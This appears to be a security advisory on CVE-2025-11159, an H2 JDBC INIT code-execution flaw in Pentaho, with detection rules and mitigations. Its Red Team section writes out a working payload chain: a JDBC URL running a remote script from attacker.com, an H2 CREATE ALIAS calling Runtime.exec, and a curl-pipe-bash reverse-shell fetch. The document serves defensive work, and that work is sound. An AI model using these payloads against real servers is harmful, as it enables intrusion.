CVE-2025-11159

Executive Summary

CVE-2025-11159 is a critical vulnerability (CVSS 9.1) in Hitachi Vantara Pentaho Data Integration & Analytics across all versions. The flaw resides in the JDBC driver for H2 databases, allowing a data source administrator to execute arbitrary external scripts when establishing a new database connection. This can lead to full remote code execution (RCE) on the Pentaho server, compromising confidentiality, integrity, and availability.

Supply Chain & Package Security

This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby). It is a proprietary Hitachi Vantara product. However, the H2 database JDBC driver is a third-party component, and its insecure configuration is the root cause. Organizations should audit their use of H2 drivers in any Java-based application.

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires data source administrator access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. Although the EPSS score is 0.0% (indicating low exploitation likelihood currently), the high CVSS and the nature of the vulnerability (RCE via JDBC) make it a high-priority target for advanced adversaries.

Deep Dive & Mechanics

The vulnerability is in the H2 database JDBC driver bundled with Pentaho. H2 supports a feature called "INIT" that allows running SQL scripts when a connection is established. An attacker with data source administrator privileges can craft a malicious JDBC URL that includes an INIT parameter pointing to an external script (e.g., a shell script or Java class). When Pentaho attempts to create a new connection using this URL, the H2 driver executes the script, leading to arbitrary code execution on the Pentaho server.

Attack Flow:

1. Attacker gains data source administrator access (e.g., via stolen credentials or another vulnerability).
2. Attacker modifies an existing data source or creates a new one with a malicious JDBC URL.
3. The malicious URL includes an INIT parameter that executes a remote script.
4. Pentaho triggers a connection attempt (e.g., during a data integration job or analytics query).
5. The H2 driver executes the script, giving the attacker RCE.

Root Cause: The H2 JDBC driver does not sanitize the INIT parameter, and Pentaho does not restrict its use for administrators.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Pentaho data source configuration
String jdbcUrl = "jdbc:h2:mem:test;INIT=runscript from 'http://attacker.com/evil.sql'";
Connection conn = DriverManager.getConnection(jdbcUrl, user, pass);

Patched Code (Expected):

// Pentaho should validate or strip dangerous JDBC parameters
String jdbcUrl = sanitizeJdbcUrl(rawUrl);
if (jdbcUrl.contains("INIT=")) {
    throw new SecurityException("INIT parameter not allowed");
}
Connection conn = DriverManager.getConnection(jdbcUrl, user, pass);

Note: No official patch is available yet. The fix should involve either removing the H2 driver, disabling the INIT feature, or adding strict validation.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to Pentaho Data Integration or Analytics as a data source administrator.
• Ability to modify or create data sources.

Exploitation Steps:

1. Set up a malicious SQL script on an attacker-controlled server (e.g., http://attacker.com/evil.sql).
2. The script can execute arbitrary Java code via H2's CREATE ALIAS feature:

   CREATE ALIAS EXEC_CMD AS $$ void exec(String cmd) throws Exception {
       Runtime.getRuntime().exec(cmd);
   } $$;
   CALL EXEC_CMD('curl http://attacker.com/revshell.sh | bash');
   

3. In Pentaho, create a new data source with the following JDBC URL:

   jdbc:h2:mem:test;INIT=runscript from 'http://attacker.com/evil.sql'
   

4. Trigger a connection (e.g., run a transformation that uses this data source).
5. The script executes, giving you a reverse shell or arbitrary command execution.

Alternative Payload (Java class):

CREATE ALIAS EXEC_CLASS FOR "com.attacker.Exploit";
CALL EXEC_CLASS.run();

Blue Team

Detection Steps:

1. Monitor for unusual JDBC URLs containing INIT=runscript or INIT=run in logs.
2. Audit data source configurations for any H2-based connections.
3. Restrict data source administrator privileges to trusted users only.
4. Implement network segmentation to prevent Pentaho servers from reaching external hosts.
5. Use a Web Application Firewall (WAF) to block malicious JDBC URL patterns.

Honeypot Setup:

• Create a fake H2 data source with a known malicious URL and monitor for connection attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP/HTTPS requests from Pentaho server to unknown IPs (e.g., for script download).
  • Unusual JDBC connection strings in logs: jdbc:h2:*;INIT=runscript from 'http://...'
• File IOCs:
  • Temporary files created by H2 in the Pentaho temp directory (e.g., *.h2.db).
  • Unexpected scripts or binaries in the Pentaho installation directory.
• Process IOCs:
  • Unusual child processes spawned by the Java process (e.g., curl, bash, powershell).
• Log IOCs:
  • Pentaho logs showing CREATE ALIAS or CALL statements from H2.
  • Error logs with java.security.AccessControlException if security manager is enabled.

Detection Engineering

YARA Rule

rule CVE_2025_11159_H2_JDBC_INIT {
    meta:
        description = "Detects malicious JDBC URLs targeting CVE-2025-11159"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11159"
    strings:
        $jdbc_h2 = /jdbc:h2:.*;INIT=runscript from 'http/i
        $jdbc_h2_https = /jdbc:h2:.*;INIT=runscript from 'https/i
        $create_alias = /CREATE ALIAS/i
        $call_exec = /CALL EXEC/i
    condition:
        any of ($jdbc_h2*) or ($create_alias and $call_exec)
}

Sigma Rule

title: CVE-2025-11159 - H2 JDBC INIT Exploitation
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2025-11159 via JDBC URL patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: pentaho
detection:
    selection:
        - EventID: 1000  # Pentaho data source creation
          DataSourceURL|contains: "INIT=runscript"
        - EventID: 1001  # Pentaho connection attempt
          ConnectionURL|contains: "INIT=runscript"
    condition: selection
falsepositives:
    - Legitimate use of H2 INIT for testing (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-11159 - H2 JDBC INIT Script Download"; flow:to_server; content:"GET"; http_method; content:"/evil.sql"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable H2 JDBC Driver: Remove the H2 database driver JAR file from the Pentaho installation (e.g., h2-*.jar).
2. Restrict Data Source Admin Access: Limit the number of users with data source administrator privileges.
3. Network Segmentation: Block outbound connections from Pentaho servers to the internet.
4. Monitor Logs: Actively search for INIT=runscript in logs.

Long-Term Fix:

• Await an official patch from Hitachi Vantara that either removes the H2 driver or adds validation.
• Consider migrating to a different embedded database (e.g., HSQLDB) if possible.

Workaround:

• Implement a custom Java Security Manager policy that denies Runtime.exec for the Pentaho application.

Valters IT
Securing Digital Frontiers